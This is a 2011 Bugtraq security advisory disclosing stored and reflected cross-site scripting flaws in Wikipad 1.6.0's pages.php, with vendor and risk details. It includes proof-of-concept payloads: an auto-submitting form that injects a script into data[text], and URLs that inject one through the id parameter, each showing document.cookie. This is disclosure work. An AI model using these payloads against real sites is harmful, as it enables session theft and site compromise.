[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201102151112.p1FBC6ZU088280@htbridge.ch>
Date: Tue, 15 Feb 2011 12:12:06 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22826: Multiple XSS vulnerabilities in Wikipad
Vulnerability ID: HTB22826
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_wikipad.html
Product: Wikipad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.6.0
Vendor Notification: 01 February 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "pages.php" script to properly sanitize user-supplied input in "data[text]", "id" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1. Stored XSS:
<form action="http://host/pages.php?action=edit&id=index&title=index" method="post" name="main">
<input type="hidden" name="data[text]" value='text"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>
2. Cross-Site Scripting:
http://host/pages.php?id=index"><script>alert(document.cookie)</script>
http://host/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie)</script>
Powered by blists - more mailing lists